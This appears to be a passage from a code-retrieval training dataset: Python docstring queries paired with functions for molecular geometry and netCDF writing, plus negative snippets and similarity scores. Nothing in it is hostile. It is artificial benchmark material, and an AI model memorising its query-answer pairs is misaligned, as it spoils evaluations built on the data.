00:00:0.0\\\"}\\n \\n if 'climo' in vardict.keys():\\n long_name = vardict['climo']['attrs']['long_name']\\n vardict['climo']['attrs']['long_name'] = 'Climatology of '+long_name\\n \\n encoding = {k: {'dtype': 'double', '_FillValue': 1e30} for k in coords.keys()}\\n for k in vardict.keys():\\n encoding.update({k: {'dtype': 'single', '_FillValue': 1e30}})\\n \\n ds = xr.Dataset.from_dict({\\n 'coords':coords,\\n 'data_vars':vardict,\\n 'dims':[k for k,v in coords.items()],\\n 'attrs':attrs,\\n })\\n \\n if isinstance(filename,str):\\n ds.to_netcdf(filename,encoding=encoding,mode='w',engine='scipy')\\n ds.close()\\n else:\\n print('filename must be a string')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.56684077","0.56515074","0.5517042","0.5477448","0.533655","0.5274521","0.5267746","0.52513975","0.5239401","0.5221346","0.52030563","0.51221067","0.5119322","0.51039076","0.5095084","0.509416","0.5086682","0.5085247","0.50754094","0.506929","0.5048053","0.5047561","0.50472414","0.5046905","0.5021839","0.50171137","0.5006118","0.49939984","0.49903485","0.49873215","0.4982927","0.49702674","0.49671808","0.4963503","0.49617234","0.49466273","0.49351394","0.4928461","0.49234912","0.49111763","0.4903981","0.49016383","0.48821896","0.48816368","0.4875667","0.4868266","0.48511633","0.48391774","0.48346293","0.4832531","0.48272932","0.48245257","0.4824277","0.4821327","0.48071572","0.4803427","0.4799236","0.47855762","0.47836912","0.47836745","0.47815952","0.47657812","0.47568095","0.47460693","0.47440922","0.4742633","0.4742136","0.47372708","0.47360605","0.47299358","0.47281635","0.47269365","0.4725868","0.47202623","0.47165","0.47128245","0.4711125","0.47033978","0.4701395","0.47007486","0.4699942","0.46959233","0.46919417","0.46905112","0.46895286","0.4686674","0.46862218","0.4685839","0.4682122","0.46818906","0.46798116","0.46759698","0.46721077","0.4662069","0.46615243","0.4657645","0.46562323","0.46437097","0.46422198","0.4640903"],"string":"[\n \"0.56684077\",\n \"0.56515074\",\n \"0.5517042\",\n \"0.5477448\",\n \"0.533655\",\n \"0.5274521\",\n \"0.5267746\",\n \"0.52513975\",\n \"0.5239401\",\n \"0.5221346\",\n \"0.52030563\",\n \"0.51221067\",\n \"0.5119322\",\n \"0.51039076\",\n \"0.5095084\",\n \"0.509416\",\n \"0.5086682\",\n \"0.5085247\",\n \"0.50754094\",\n \"0.506929\",\n \"0.5048053\",\n \"0.5047561\",\n \"0.50472414\",\n \"0.5046905\",\n \"0.5021839\",\n \"0.50171137\",\n \"0.5006118\",\n \"0.49939984\",\n \"0.49903485\",\n \"0.49873215\",\n \"0.4982927\",\n \"0.49702674\",\n \"0.49671808\",\n \"0.4963503\",\n \"0.49617234\",\n \"0.49466273\",\n \"0.49351394\",\n \"0.4928461\",\n \"0.49234912\",\n \"0.49111763\",\n \"0.4903981\",\n \"0.49016383\",\n \"0.48821896\",\n \"0.48816368\",\n \"0.4875667\",\n \"0.4868266\",\n \"0.48511633\",\n \"0.48391774\",\n \"0.48346293\",\n \"0.4832531\",\n \"0.48272932\",\n \"0.48245257\",\n \"0.4824277\",\n \"0.4821327\",\n \"0.48071572\",\n \"0.4803427\",\n \"0.4799236\",\n \"0.47855762\",\n \"0.47836912\",\n \"0.47836745\",\n \"0.47815952\",\n \"0.47657812\",\n \"0.47568095\",\n \"0.47460693\",\n \"0.47440922\",\n \"0.4742633\",\n \"0.4742136\",\n \"0.47372708\",\n \"0.47360605\",\n \"0.47299358\",\n \"0.47281635\",\n \"0.47269365\",\n \"0.4725868\",\n \"0.47202623\",\n \"0.47165\",\n \"0.47128245\",\n \"0.4711125\",\n \"0.47033978\",\n \"0.4701395\",\n \"0.47007486\",\n \"0.4699942\",\n \"0.46959233\",\n \"0.46919417\",\n \"0.46905112\",\n \"0.46895286\",\n \"0.4686674\",\n \"0.46862218\",\n \"0.4685839\",\n \"0.4682122\",\n \"0.46818906\",\n \"0.46798116\",\n \"0.46759698\",\n \"0.46721077\",\n \"0.4662069\",\n \"0.46615243\",\n \"0.4657645\",\n \"0.46562323\",\n \"0.46437097\",\n \"0.46422198\",\n \"0.4640903\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6453824"},"document_rank":{"kind":"string","value":"0"}}}],"truncated":false,"partial":true},"paginationData":{"pageIndex":821,"numItemsPerPage":100,"numTotalItems":95772,"offset":82100,"length":100}},"jwt":"eyJhbGciOiJFZERTQSIsImtpZCI6IjVHZDBvd0g5MTM2eDZjc1FvbE1zcktNWUZoRVFoUm5PVVVybEpjOUhaUEEifQ.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc4NjE0MTYwNSwianRpIjoiODU2MjY1MWEtMzkzZC00YjlmLTg0MjMtOWU0Y2E1MTgyOGUwIiwic3ViIjoiL2RhdGFzZXRzL25vbWljLWFpL2Nvcm5zdGFjay1weXRob24tdjEiLCJleHAiOjE3ODYxNDUyMDUsImlzcyI6Imh0dHBzOi8vaHVnZ2luZ2ZhY2UuY28ifQ.YNmKqCII3qWPiMGG0isEvGCmMAzOKTEbYIVxsQr3uyfOlFCn_6pwJYLhsc_l5jMLlGC_mw74KYhRI2H38nzhAA","displayUrls":true,"splitSizeSummaries":[{"config":"default","split":"train","numRows":95772,"numBytesParquet":1928375891}]},"discussionsStats":{"closed":1,"open":1,"total":2},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
query stringlengths 9 3.4k | document stringlengths 9 87.4k | metadata dict | negatives listlengths 4 101 | negative_scores listlengths 4 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
r"""Ensures that the targets are in a onehot format rather than an index format. | def ensure_targets_one_hot(input: torch.Tensor,
targets: torch.Tensor,
num_classes: Optional[int] = None) -> torch.Tensor:
if infer_target_type(input, targets) == 'indices':
# If the number of classes isn't specified, attempt to infer it from the input
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _get_one_hot(targets, num_classes):\n ret = np.zeros((num_classes, targets.shape[0]))\n ret[targets, np.arange(targets.size)] = 1\n return ret",
"def infer_target_type(input: torch.Tensor, targets: torch.Tensor) -> str:\n if input.shape == targets.shape:\n return 'one_hot'\n ... | [
"0.70892847",
"0.70067805",
"0.6761015",
"0.6672298",
"0.652522",
"0.64999425",
"0.6430373",
"0.62493813",
"0.62427723",
"0.6210333",
"0.6210333",
"0.6210333",
"0.6210333",
"0.616038",
"0.6130909",
"0.609137",
"0.6088862",
"0.60704434",
"0.6039818",
"0.60286826",
"0.6021816",... | 0.75631934 | 0 |
Checks if a given set of targets are indices by looking at the type. | def check_for_index_targets(targets: torch.Tensor) -> bool:
index_dtypes = [torch.uint8, torch.int8, torch.int16, torch.int32, torch.int64]
return targets.dtype in index_dtypes | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _idxs_are_present(self, *args):\n return set(args).issubset(set(range(self.n_atoms)))",
"def test_where_targets():\n num_multi_targets = 0\n for where_targets_day in where_targets:\n # All inputs have a label\n assert np.all(where_targets_day.sum(axis=3).sum(axis=3).sum(axis=1).sum... | [
"0.60485214",
"0.5889833",
"0.5874883",
"0.5825459",
"0.5714331",
"0.5704013",
"0.56712264",
"0.5618384",
"0.55533653",
"0.5513131",
"0.5502767",
"0.54754364",
"0.54153454",
"0.53931",
"0.5359128",
"0.53402877",
"0.5328796",
"0.5318108",
"0.53159976",
"0.52739215",
"0.5260177... | 0.8416542 | 0 |
Converts a tensor of index class labels to a tensor of onehot class labels. | def _one_hot(tensor: torch.Tensor, num_classes: int = -1, dim: int = -1) -> torch.Tensor:
if not check_for_index_targets(tensor):
raise ValueError(f'tensor must be integer type, current type: {tensor.dtype}')
max_index = tensor.max() + 1
if num_classes == -1:
num_classes = int(max_index)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_one_hot(labels, num_classes):\n shape = labels.size()\n shape = shape + (num_classes,)\n one_hot = torch.FloatTensor(shape)\n one_hot.zero_()\n dim = 1 if len(shape) == 2 else 2\n one_hot.scatter_(dim, labels.unsqueeze(-1), 1)\n return one_hot",
"def to_onehot(labels: torch.Tensor, nu... | [
"0.84751815",
"0.8467954",
"0.8271096",
"0.8237347",
"0.82299304",
"0.81946796",
"0.81946796",
"0.81946796",
"0.81946796",
"0.8180447",
"0.8169154",
"0.8150191",
"0.8135966",
"0.8088832",
"0.808789",
"0.8087213",
"0.80652124",
"0.8063023",
"0.8018135",
"0.8018135",
"0.7935499... | 0.81189996 | 13 |
read out content of console nondestructive | def read(self):
return ''.join(self.content) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def readlines():\n while 1:\n line = nb_server.stdout.readline().decode(\"utf-8\").strip()\n if line:\n print(line)",
"def read():\n print(command(\"R\"))",
"def console():\r\n while True:\r\n interpret_command(input(\"POM> \"))",
"def readOutput(self)... | [
"0.6714941",
"0.65332526",
"0.6337211",
"0.63157356",
"0.6290675",
"0.62303823",
"0.6185881",
"0.61685926",
"0.61524415",
"0.61488354",
"0.61348",
"0.6057315",
"0.6021494",
"0.6005213",
"0.595756",
"0.5953287",
"0.5947921",
"0.59435844",
"0.5930646",
"0.5894437",
"0.5890957",... | 0.0 | -1 |
Show the content of the command console on the screen. | def show(self):
self.set_text(self.read()) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def showConsole(self):\n self.console.show()",
"def console(self):\n fricas_console()",
"def _display_command(self):\n idx = self.current_idx # Local copy to avoid race condition updates\n output = self.outputs[idx]\n if output is None:\n self.screen.addstr('Waiti... | [
"0.7871232",
"0.73963773",
"0.71685517",
"0.7015381",
"0.6897797",
"0.68918306",
"0.6850967",
"0.6628928",
"0.6608375",
"0.65925175",
"0.65554076",
"0.65428865",
"0.6478846",
"0.6471501",
"0.6461188",
"0.645867",
"0.6422905",
"0.63885444",
"0.634886",
"0.63315326",
"0.6322423... | 0.6261664 | 24 |
Split the command, and the arguments. Returns a tuple of the command, and another for args. | def parse(self):
# if empty, return False, instead of crashing
if not self.content:
return False
command = ''.join(self.content).split(' ')
# return first element, then the rest
return [command[0], (command[1:])] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _command_and_args(tokens: List[str]) -> Tuple[str, str]:\n command = ''\n args = ''\n\n if tokens:\n command = tokens[0]\n\n if len(tokens) > 1:\n args = ' '.join(tokens[1:])\n\n return command, args",
"def split_command_input(command):\n args = com... | [
"0.7808273",
"0.7583199",
"0.73445207",
"0.7174779",
"0.71467346",
"0.71250147",
"0.712263",
"0.71033084",
"0.7046168",
"0.66356814",
"0.6511596",
"0.6393975",
"0.6374057",
"0.63612664",
"0.6310978",
"0.628176",
"0.6180036",
"0.6168099",
"0.60368687",
"0.5932526",
"0.5896223"... | 0.0 | -1 |
Convert a job string (dba, svg, dxf, or gcode). | def convert(job, optimize=True, tolerance=conf['tolerance'], matrix=None):
type_ = get_type(job)
if type_ == 'dba':
if type(job) is bytes:
job = job.decode('utf-8')
if type(job) is str:
job = json.loads(job)
if optimize:
if 'defs' in job:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_type(job):\n # figure out type\n if type(job) is dict:\n type_ = 'dba'\n elif type(job) in [str, bytes]:\n if type(job) is bytes:\n job = job.decode('utf-8')\n jobheader = job[:1024].lstrip()\n if jobheader and jobheader[0] == '{':\n type_ = 'dba'\... | [
"0.584424",
"0.5817721",
"0.577906",
"0.56308305",
"0.53230834",
"0.52930534",
"0.51798236",
"0.5088676",
"0.5066885",
"0.5064404",
"0.5053654",
"0.50107867",
"0.49824375",
"0.49557483",
"0.49440598",
"0.49340597",
"0.48770815",
"0.48703986",
"0.48525834",
"0.48219013",
"0.48... | 0.62155473 | 0 |
Transform the coordinates in the job with the supplied matrix. | def apply_alignment_matrix(job, matrix):
# Get the SVG-style 6-element vector from the 3x3 matrix
mat = [matrix[0][0], matrix[1][0], matrix[0][1], matrix[1][1], matrix[0][2], matrix[1][2]]
# Only the 'defs' list contains coordinates that need to be transformed
defs = job['defs']
for one_def in def... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _transform(self, matrix):\n for x in list(self.keys()):\n ar = self[x]\n if len(ar.shape) == 2 and ar.shape[1] == 3:\n self[x] = np.dot(matrix, ar.transpose()).transpose()",
"def rotate(self, matrix):\n newCoord = np.zeros(self.coord.shape)\n newCoord... | [
"0.6915339",
"0.6722252",
"0.6568061",
"0.6561562",
"0.6331745",
"0.6174493",
"0.60698354",
"0.60259205",
"0.60166734",
"0.59876084",
"0.59857154",
"0.5972357",
"0.58933765",
"0.5886011",
"0.5846207",
"0.58090484",
"0.57578796",
"0.5745067",
"0.5734967",
"0.5705985",
"0.56998... | 0.6591964 | 2 |
Read a svg file string and convert to dba job. | def read_svg(svg_string, workspace, tolerance, forced_dpi=None, optimize=True):
svgReader = SVGReader(tolerance, workspace)
res = svgReader.parse(svg_string, forced_dpi)
# {'boundarys':b, 'dpi':d, 'lasertags':l, 'rasters':r}
# create an dba job from res
# TODO: reader should generate an dba job to ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load(filename, imageprops):\n with gzip.open(filename, 'rb') as f:\n file_content = f.read()\n return parse_svg.parse_svg_string(file_content, imageprops, \"en\")",
"def convert(filename,\nRenderer: \"\"\"By default, the schematic is converted to an SVG file,\n written to the standard out... | [
"0.583088",
"0.5518693",
"0.52893054",
"0.5273715",
"0.521292",
"0.5151042",
"0.50893706",
"0.5085327",
"0.5066948",
"0.5044671",
"0.50433487",
"0.4998983",
"0.49872452",
"0.4840981",
"0.48366708",
"0.47892964",
"0.47813255",
"0.4772477",
"0.47670302",
"0.47522056",
"0.474910... | 0.65959406 | 0 |
Read a dxf file string and optimize returned value. | def read_dxf(dxf_string, tolerance, optimize=True):
dxfParser = DXFParser(tolerance)
# second argument is the forced unit, TBI in Driverboard
job = dxfParser.parse(dxf_string, None)
if 'vector' in job:
if optimize:
vec = job['vector']
pathoptimizer.dxf_optimize(vec['paths... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def readstring(self, fstring):\n return self.parse(fstring)",
"def readfile(filename, encoding=None, legacy_mode=False):\n if not is_dxf_file(filename):\n raise IOError(\"File '{}' is not a DXF file.\".format(filename))\n\n info = dxf_file_info(filename)\n with io.open(filename, mode='rt',... | [
"0.6891667",
"0.61871874",
"0.61306417",
"0.6099318",
"0.6006468",
"0.59101367",
"0.5892573",
"0.58453",
"0.57657695",
"0.57569593",
"0.57072806",
"0.56301016",
"0.5602342",
"0.5579656",
"0.55789405",
"0.557593",
"0.55731946",
"0.5565903",
"0.5554117",
"0.55455285",
"0.554523... | 0.67127746 | 1 |
Read a gcode file string and convert to dba job. | def read_gcode(gcode_string, tolerance, optimize=False):
reader = GcodeReader()
job = reader.parse(gcode_string)
if optimize:
pass
return job | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_gcode(filename):\n\t##TODO: parse/read file line by line for memory considerations\n\twith open(filename, 'r') as fh_in:\n\t\tgcode_raw = fh_in.readlines()\n\t\tgcode_raw = [gcode.rstrip(';\\n') for gcode in gcode_raw] # stripping off trailing semicolon and newlines\n\treturn gcode_raw",
"def read_code(... | [
"0.605922",
"0.56325203",
"0.5597015",
"0.55194545",
"0.5511298",
"0.5441651",
"0.53879595",
"0.536156",
"0.5337163",
"0.52230054",
"0.51988596",
"0.5162434",
"0.51498",
"0.51092756",
"0.5086217",
"0.5081328",
"0.50811666",
"0.5080986",
"0.50737935",
"0.50295",
"0.501998",
... | 0.6651488 | 0 |
Figure out file type from job string. | def get_type(job):
# figure out type
if type(job) is dict:
type_ = 'dba'
elif type(job) in [str, bytes]:
if type(job) is bytes:
job = job.decode('utf-8')
jobheader = job[:1024].lstrip()
if jobheader and jobheader[0] == '{':
type_ = 'dba'
elif '... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_file_type(file_str):\n process_list = [\"file\", \"--mime-type\", file_str]\n p = subprocess.Popen(process_list, stdout=subprocess.PIPE)\n file_type, err = p.communicate()\n\n return file_type.decode(\"utf-8\")",
"def find_file_type(file_str):\n try:\n #p = subprocess.Popen(\n ... | [
"0.70865875",
"0.6961908",
"0.6805858",
"0.66984457",
"0.66983753",
"0.66839826",
"0.65622485",
"0.6553481",
"0.6537292",
"0.65352625",
"0.6480396",
"0.6473575",
"0.6473575",
"0.6421381",
"0.6342401",
"0.631688",
"0.63012516",
"0.62735415",
"0.6210128",
"0.6163858",
"0.615030... | 0.77883315 | 0 |
Return nodes in tree with value of term | def find_matches(term, tree):
if not isinstance(tree, KTree):
raise TypeError('argument must be of type <KTree>')
matches = []
tree.pre_order(lambda n: matches.append(n) if n.val == term else False)
return matches | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_node_by_term(nodes, term):\n return nodes[sum([ord(c) for c in term]) % len(nodes)]",
"def visit_term(self, node, children):\n if self.debug:\n print(\"Term {}\".format(children))\n term = children[0]\n for i in range(2, len(children), 2):\n if children[i-1] ... | [
"0.6986421",
"0.61513734",
"0.5921448",
"0.58736944",
"0.5862751",
"0.5831741",
"0.58146954",
"0.56619805",
"0.56611484",
"0.5639314",
"0.55790526",
"0.5555535",
"0.5530433",
"0.5506146",
"0.54981244",
"0.54642147",
"0.546144",
"0.5453978",
"0.5403352",
"0.540323",
"0.5325055... | 0.61939466 | 1 |
Initialize XYZ data from file or existing geometry. | def __init__(self, **kwargs):
# Two situations. One should have 'path' and, optionally, 'bohrs'
# specified (default here is Angstroms). The other needs an N x 1
# 'atom_syms' vector and a 3N x 1 'coords' vector.
if 'path' in kwargs:
# All set for load from file. 'bohrs' d... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def import_xyz(self, fname):\n self.ftype = 'xyz'\n with open(fname) as f:\n lines = f.readlines()\n self.n_atom = int(lines[0].split()[0])\n\n # reading lines to build up class data\n self.sym = []\n self.at_num = []\n self.xyz = np.zeros((self.n_atom, 3... | [
"0.70301515",
"0.68537307",
"0.67111796",
"0.6321048",
"0.6296491",
"0.62578446",
"0.6226162",
"0.61775225",
"0.61718357",
"0.61685383",
"0.6164377",
"0.6135892",
"0.60901254",
"0.6089644",
"0.6037583",
"0.59291166",
"0.59206396",
"0.5904395",
"0.58817655",
"0.58618826",
"0.5... | 0.6050923 | 14 |
Internal function for making XYZ object from explicit geom data. | def _load_data(self, atom_syms, coords, bohrs=True):
# Imports
import numpy as np
from .const import atom_num, PHYS
from .error import XYZError
# Gripe if already initialized
if 'geoms' in dir(self):
raise XYZError(XYZError.OVERWRITE,
"Ca... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def from_xyz(cls, x, y, z):\n obj = cls()\n obj._x = x\n obj._y = y\n obj._z = z\n return obj",
"def copyGeom(geom):\n geomJson = geom.ExportToJson()\n newGeom = ogr.CreateGeometryFromJson(geomJson)\n return newGeom",
"def test_xyz_from_data(self):\n symbols =... | [
"0.6421648",
"0.6170814",
"0.61640143",
"0.6124948",
"0.60862577",
"0.6039361",
"0.60279477",
"0.5917643",
"0.58914214",
"0.5849024",
"0.58337766",
"0.58336794",
"0.58046174",
"0.57761025",
"0.5751537",
"0.5707456",
"0.5699832",
"0.56906056",
"0.56258446",
"0.56246954",
"0.56... | 0.0 | -1 |
Initialize OpanXYZ geometry object from OpenBabel file Import of an arbitrary number of multiple geometries from an OpenBabel file. All geometries must have the same number and type of atoms, and the ordering of atom types must be retained throughout. | def _load_file(self, XYZ_path, bohrs=False):
# Imports
import numpy as np
from .const import CIC, PHYS, atom_num, atom_sym
from .error import XYZError
from .utils import safe_cast as scast
# Complain if already initialized
if 'geoms' in dir(self):
ra... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self,\n line: List[str],\n args: Namespace = None,\n features: np.ndarray = None,\n use_compound_names: bool = False):\n if args is not None:\n self.features_generator = args.features_generator\n self.args = a... | [
"0.56026757",
"0.5540906",
"0.5528329",
"0.5364663",
"0.53284216",
"0.53252584",
"0.5266082",
"0.52634025",
"0.52541685",
"0.5250091",
"0.5241198",
"0.514692",
"0.5138467",
"0.51343966",
"0.51267344",
"0.5109389",
"0.5102671",
"0.5095474",
"0.50853413",
"0.506901",
"0.5065143... | 0.5555224 | 1 |
Retrieve a single geometry. The atom coordinates are returned with each atom's | def geom_single(self, g_num):
# Just return the appropriate geometry vector
geom = self.geoms[g_num]
return geom | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def geometry(self):\n return self[0].geometry",
"def geometry(self, objectId):\n\n objectId = GeometryReference(objectId, self)\n req = urllib2.Request(self.baseUri + 'geometry/%d' % objectId.id)\n r = urllib2.urlopen(req)\n\n data = json.load(r)\n r.close()\n return data",
"def geomet... | [
"0.71468383",
"0.68853307",
"0.6881374",
"0.68368924",
"0.66227245",
"0.66227245",
"0.6584365",
"0.65074337",
"0.65074337",
"0.6476539",
"0.6457532",
"0.643852",
"0.63991445",
"0.6398878",
"0.63909924",
"0.63620174",
"0.63473",
"0.62437195",
"0.62106025",
"0.6011841",
"0.5790... | 0.6181021 | 19 |
Iterator over a subset of geometries. The indices of the geometries to be returned are indicated by an iterable of |int|\\ s passed as `g_nums`. | def geom_iter(self, g_nums):
# Using the custom coded pack_tups to not have to care whether the
# input is iterable
from .utils import pack_tups
vals = pack_tups(g_nums)
for val in vals:
yield self.geom_single(val[0]) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index_iterator((x_min, x_max, y_min, y_max)):\n for row in xrange(y_min, y_max):\n for col in xrange(x_min, x_max):\n yield (row, col)",
"def _iterCoordsets(self):\n\n for i in range(self._n_csets):\n yield self._coords[i]",
"def vertex_iterator(self):\n for X ... | [
"0.5779938",
"0.57045865",
"0.56929266",
"0.55291986",
"0.5527328",
"0.5402063",
"0.53830856",
"0.53448653",
"0.52876896",
"0.52826023",
"0.52761483",
"0.5234629",
"0.5232288",
"0.52209127",
"0.51792836",
"0.51745635",
"0.51471794",
"0.5135813",
"0.51231736",
"0.5116178",
"0.... | 0.7158514 | 0 |
Distance between two atoms. | def dist_single(self, g_num, at_1, at_2):
# Import used math library function(s)
import numpy as np
from scipy import linalg as spla
from .utils import safe_cast as scast
# The below errors are explicitly thrown since values are multiplied by
# three when they are used... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def distance(cls, atom_1, atom_2):\n\t\t\n\t\treturn np.linalg.norm((atom_1-atom_2).atom_loc)",
"def calculate_distance(atom1,atom2): #dot string to show when you go into the help doc of this function\n x_distance = atom1[0]-atom2[0]\n y_distance = atom1[1]-atom2[1]\n z_distance = atom1[2]-atom2[2]\n ... | [
"0.836802",
"0.7753284",
"0.76746625",
"0.75178355",
"0.74930346",
"0.74093235",
"0.73726875",
"0.7370857",
"0.7370857",
"0.7344016",
"0.7344016",
"0.73347074",
"0.7324276",
"0.7320211",
"0.7310314",
"0.7278829",
"0.7278765",
"0.7270829",
"0.7265909",
"0.72642666",
"0.7259381... | 0.0 | -1 |
Iterator over selected interatomic distances. | def dist_iter(self, g_nums, ats_1, ats_2, invalid_error=False):
# Imports
import numpy as np
from .utils import pack_tups
# Print the function inputs if debug mode is on
if _DEBUG: # pragma: no cover
print("g_nums = {0}".format(g_nums))
print("ats_1 = {... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def iter_dist(self):\n self.makeTree()\n coords = self.coords\n sd = selfdistance\n for i in self.loopindices:\n dists, inds = self.nntree.query(coords[i], self.nnmaxcount,\n distance_upper_bound=self.nncutoff)\n yield coords[i], dists.compress((... | [
"0.74860764",
"0.65093106",
"0.6299574",
"0.6196469",
"0.6128919",
"0.60511947",
"0.6046373",
"0.6036537",
"0.60105455",
"0.59743416",
"0.5921528",
"0.58894616",
"0.58710784",
"0.58668053",
"0.58579624",
"0.5804176",
"0.5793591",
"0.5787932",
"0.5768053",
"0.57170635",
"0.568... | 0.54510146 | 41 |
Spanning angle among three atoms. The indices `at_1` and `at_3` can be the same (yielding a trivial zero angle), but `at_2` must be different from both `at_1` and `at_3`. | def angle_single(self, g_num, at_1, at_2, at_3):
# Imports
import numpy as np
from .utils import safe_cast as scast
from .utils.vector import vec_angle
# The below errors are explicitly thrown since they are multiplied by
# three when they are used as an index and thus... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def angle( nt1, nt2, nt3 ):\n if vector(nt1, nt2) == [0,0]:\n print(\"nt1\", nt1.seqpos, \" at \", nt1.x, nt1.y, \" is at the same position as nt2\", nt2.seqpos)\n if vector(nt2, nt3) == [0,0]:\n print(\"nt2\", nt2.seqpos, \" at \", nt2.x, nt2.y, \" is at the same position as nt3\", nt3.seqpos)... | [
"0.6621639",
"0.62787753",
"0.62721163",
"0.6219383",
"0.616731",
"0.61254215",
"0.61223984",
"0.60984504",
"0.6068697",
"0.60079587",
"0.5870599",
"0.5851276",
"0.5847751",
"0.5736352",
"0.5641874",
"0.5633563",
"0.5566232",
"0.5555014",
"0.5548194",
"0.55439526",
"0.5532424... | 0.7929128 | 0 |
Iterator over selected atomic angles. | def angle_iter(self, g_nums, ats_1, ats_2, ats_3, invalid_error=False):
# Suitability of ats_n indices will be checked within the
# self.angle_single() calls and thus no check is needed here.
# Import the tuple-generating function
from .utils import pack_tups
# Print the funct... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def angles(self, num: int) -> Iterable[float]:\n if num < 2:\n raise ValueError(\"num >= 2\")\n start = self.dxf.start_angle % 360\n stop = self.dxf.end_angle % 360\n if stop <= start:\n stop += 360\n for angle in linspace(start, stop, num=num, endpoint=True... | [
"0.6916783",
"0.62805206",
"0.62411296",
"0.60993385",
"0.60627055",
"0.59732306",
"0.59469336",
"0.58281696",
"0.5812086",
"0.5724647",
"0.570284",
"0.5701734",
"0.56863636",
"0.56828517",
"0.56687546",
"0.56573206",
"0.5652911",
"0.5652911",
"0.56264985",
"0.56264985",
"0.5... | 0.61551696 | 3 |
Dihedral/outofplane angle among four atoms. Returns the outofplane angle among four atoms from geometry `g_num`, in degrees. The reference plane is spanned by `at_1`, `at_2` and `at_3`. The outofplane angle is defined such that a positive angle represents a counterclockwise | def dihed_single(self, g_num, at_1, at_2, at_3, at_4):
# library imports
import numpy as np
from scipy import linalg as spla
from .utils.vector import ortho_basis, rej, vec_angle
from .utils import safe_cast as scast
from .error import XYZError
from .const import ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def angle_single(self, g_num, at_1, at_2, at_3):\n\n # Imports\n import numpy as np\n from .utils import safe_cast as scast\n from .utils.vector import vec_angle\n\n # The below errors are explicitly thrown since they are multiplied by\n # three when they are used as an i... | [
"0.62320507",
"0.5513286",
"0.5477218",
"0.5460022",
"0.5291179",
"0.5227382",
"0.5224077",
"0.5219758",
"0.5208271",
"0.51954705",
"0.51799554",
"0.5173653",
"0.51502854",
"0.5115369",
"0.51109487",
"0.5099053",
"0.50951463",
"0.5083831",
"0.505489",
"0.5045638",
"0.50434184... | 0.60114694 | 1 |
Iterator over selected dihedral angles. | def dihed_iter(self, g_nums, ats_1, ats_2, ats_3, ats_4, \
invalid_error=False):
# Suitability of ats_n indices will be checked within the
# self.dihed_single() calls and thus no check is needed here.
# Import the tuple-generating function
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_dihedral_angles(self):\n mol = self.m\n c1 = mol.GetConformer(-1)\n torsma = '[!$(*#*)&!D1]~[!$(*#*)&!D1]'\n q = Chem.MolFromSmarts(torsma)\n matches = mol.GetSubstructMatches(q)\n nmat = len(matches)\n dic = {}\n for match in matches:\n j ... | [
"0.67937744",
"0.650433",
"0.64618915",
"0.6319725",
"0.6179052",
"0.6091076",
"0.60566366",
"0.58289546",
"0.55485225",
"0.5516834",
"0.55101126",
"0.5483505",
"0.53694785",
"0.5359022",
"0.5292239",
"0.52902305",
"0.5284748",
"0.5282234",
"0.5261645",
"0.5239609",
"0.522895... | 0.491631 | 41 |
Displacement vector between two atoms. Returns the displacement vector pointing from `at_1` toward `at_2` from geometry `g_num`. If `at_1` == `at_2` a strict zero vector is returned. Displacement vector is returned in units of Bohrs. | def displ_single(self, g_num, at_1, at_2):
# Library imports
import numpy as np
from .utils import safe_cast as scast
# The below errors are explicitly thrown since they are multiplied by
# three when they are used as an index and thus give non-intuitive
# errors.
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
